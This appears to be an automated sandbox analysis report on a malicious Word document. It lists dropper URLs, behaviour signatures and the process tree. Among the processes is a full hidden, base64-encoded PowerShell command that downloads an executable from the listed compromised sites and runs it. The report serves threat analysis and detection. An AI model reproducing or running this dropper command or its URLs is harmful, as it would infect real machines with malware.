Overview

overview

10

task1

 

10

task2

 

10

Analysis

  • max time kernel
    112s
  • resource
    win7v191014
  • submitted
    01/01/2020, 05:06

Sharing

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General

  • Target
    Malware Samples(2).zip
  • Sample200101-1dghyjegsn
  • SHA256 560d99887286ea550542c684b208ab356394e22d45571c64765653543fbf1dd3
Score
10/10

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    https://lilikhendarwati.com/wp-admin/JbdTQoQQ/
  • exe.dropper

    http://www.zhangboo.com/wp-admin/lwhcvV/
  • exe.dropper

    http://test.windsorheatingandair.com/wp-includes/r9lv-4teq5ff-8759846140/
  • exe.dropper

    https://www.jackiejill.com/wp-includes/yiqr4r6a-dwt7s0u-26965878/
  • exe.dropper

    http://apolina.pl/engl/1tuh6ul-gakf89-994/

Signatures

  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Process spawned unexpected child process 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Drops file in System32 directory 4 IoCs
  • Modifies registry class 144 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\VTDL32be68dafd336fa9425b3602fbb4e33e.danger.doc"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of FindShellTrayWindow
    • Drops file in System32 directory
    • Suspicious behavior: AddClipboardFormatListener
    PID:844
  • C:\Windows\SYSTEM32\WISPTIS.EXE
    /QuitInfo:0000000000000624;000000000000065C;
    1⤵
    • Suspicious use of SetWindowsHookEx
    PID:1276
  • C:\Windows\SYSTEM32\WISPTIS.EXE
    /QuitInfo:0000000000000624;000000000000065C;
    1⤵
    • Suspicious use of SetWindowsHookEx
    PID:1992
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell -w hidden -en JABPAHEAbwBqAHIAcABtAGsAZAB6AGwAZwA9ACcARwBlAHUAcwBjAGsAZgBlAGkAcwBsAGgAJwA7ACQAUwBnAHkAbgBhAGQAdABkAHoAaQAgAD0AIAAnADIAMQA4ACcAOwAkAEYAcwBuAGMAagBmAGIAbgBvAHUAdgBjAHcAPQAnAFYAcgB0AGcAdwBvAGoAaABnAHIAcQBrACcAOwAkAEkAcwB2AGUAZgB0AHMAYwB5AG0AawBvAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABTAGcAeQBuAGEAZAB0AGQAegBpACsAJwAuAGUAeABlACcAOwAkAFkAawBqAHoAbQB4AGcAeQBlAGsAcABmAD0AJwBYAGgAaABpAHYAcAB4AHQAbgAnADsAJABQAGQAegB2AGUAdgBiAGgAZQBzAD0ALgAoACcAbgBlAHcALQBvAGIAagAnACsAJwBlACcAKwAnAGMAdAAnACkAIABuAEUAdAAuAFcAZQBiAGMATABpAEUAbgBUADsAJABNAHYAYwBiAGwAcgBoAGsAegBvAHoAZwA9ACcAaAB0AHQAcABzADoALwAvAGwAaQBsAGkAawBoAGUAbgBkAGEAcgB3AGEAdABpAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBKAGIAZABUAFEAbwBRAFEALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB6AGgAYQBuAGcAYgBvAG8ALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGwAdwBoAGMAdgBWAC8AKgBoAHQAdABwADoALwAvAHQAZQBzAHQALgB3AGkAbgBkAHMAbwByAGgAZQBhAHQAaQBuAGcAYQBuAGQAYQBpAHIALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAHIAOQBsAHYALQA0AHQAZQBxADUAZgBmAC0AOAA3ADUAOQA4ADQANgAxADQAMAAvACoAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AagBhAGMAawBpAGUAagBpAGwAbAAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AeQBpAHEAcgA0AHIANgBhAC0AZAB3AHQANwBzADAAdQAtADIANgA5ADYANQA4ADcAOAAvACoAaAB0AHQAcAA6AC8ALwBhAHAAbwBsAGkAbgBhAC4AcABsAC8AZQBuAGcAbAAvADEAdAB1AGgANgB1AGwALQBnAGEAawBmADgAOQAtADkAOQA0AC8AJwAuACIAcwBgAHAATABJAFQAIgAoACcAKgAnACkAOwAkAEoAdgBrAGgAawB0AHYAdABzAHEAagA9ACcASwBsAG0AdwBuAGkAcgByACcAOwBmAG8AcgBlAGEAYwBoACgAJABNAHoAbQBxAGIAegBqAHUAZwAgAGkAbgAgACQATQB2AGMAYgBsAHIAaABrAHoAbwB6AGcAKQB7AHQAcgB5AHsAJABQAGQAegB2AGUAdgBiAGgAZQBzAC4AIgBkAG8AYABXAG4AbABgAE8AQQBkAGYASQBMAEUAIgAoACQATQB6AG0AcQBiAHoAagB1AGcALAAgACQASQBzAHYAZQBmAHQAcwBjAHkAbQBrAG8AKQA7ACQASwB5AGsAaABvAHMAeABlAD0AJwBKAGMAYwB2AHIAdQByAHQAbQB5ACcAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJACcAKwAnAHQAZQBtACcAKQAgACQASQBzAHYAZQBmAHQAcwBjAHkAbQBrAG8AKQAuACIAbABFAG4AYABHAHQAaAAiACAALQBnAGUAIAAzADEANAA1ADQAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBUAGEAYABSAFQAIgAoACQASQBzAHYAZQBmAHQAcwBjAHkAbQBrAG8AKQA7ACQARAB5AGsAZABhAGcAZQBpAHkAawByAGEAaQA9ACcARwBhAHUAbABuAGEAdABoAGoAcQAnADsAYgByAGUAYQBrADsAJABSAHgAZgBhAHAAdwBjAGcAaQBlAHAAdwA9ACcAQwBsAHMAawB2AGkAdQBmAG0AbABkAGQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASwByAGEAbQB1AG4AbgBrAHMAawBjAGUAPQAnAEQAYgBsAHgAbgB2AHkAaABwAHkAdgB4ACcA
    1⤵
    • Process spawned unexpected child process
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Drops file in System32 directory
    PID:888

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/844-0-0x0000000006100000-0x0000000006104000-memory.dmp
        Download

        memory/844-1-0x00000000061F9000-0x00000000061FD000-memory.dmp
        Download

        memory/844-2-0x00000000061F9000-0x00000000061FD000-memory.dmp
        Download

        memory/844-3-0x00000000095A0000-0x00000000095A4000-memory.dmp
        Download